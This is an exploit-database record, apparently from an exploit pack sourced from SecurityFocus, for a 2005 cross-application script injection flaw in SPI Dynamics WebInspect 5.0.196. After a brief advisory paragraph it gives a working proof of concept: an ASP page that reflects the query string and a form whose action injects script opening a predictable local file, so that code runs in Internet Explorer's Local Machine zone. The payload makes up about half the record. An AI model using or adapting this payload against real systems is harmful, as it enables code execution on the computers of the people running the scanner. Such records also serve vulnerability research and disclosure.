SPI Dynamics WebInspect 5.0.196 - Cross Application Script Injection

2005-07-26T00:00:00
ID EXPLOITPACK:B92D15CCF42EF46188D2166C7449AB5A
Type exploitpack
Reporter QQLan@yandex.ru
Modified 2005-07-26T00:00:00

Description

SPI Dynamics WebInspect 5.0.196 - Cross Application Script Injection

                                        
                                            source: https://www.securityfocus.com/bid/14385/info

WebInspect is vulnerable to a cross-application script injection vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied data prior to including it in content rendered in an Internet Explorer COM object.

This vulnerability allows attackers to execute arbitrary script code in the context of the vulnerable application. By exploiting the knowledge of predictable files on the targeted system, attackers may also cause arbitrary script code to be executed in the "Local Machine" zone, facilitating remote machine code installation and execution. 

<HTML><HEAD><BODY>
<%
if request.querystring<>"" then
response.write request.querystring
end if
%>
<form action="script>/<script>window.open(%27file://C:\\Program
Files\\SPIDynamics\\WebInspect\\Working\\vulnerability.htm%27)</script>" method=get> Please login:<br>
<input type=submit value="Login"><br> <input type=hidden name='hidden' value="Login"><br> </form>
</BODY></HTML>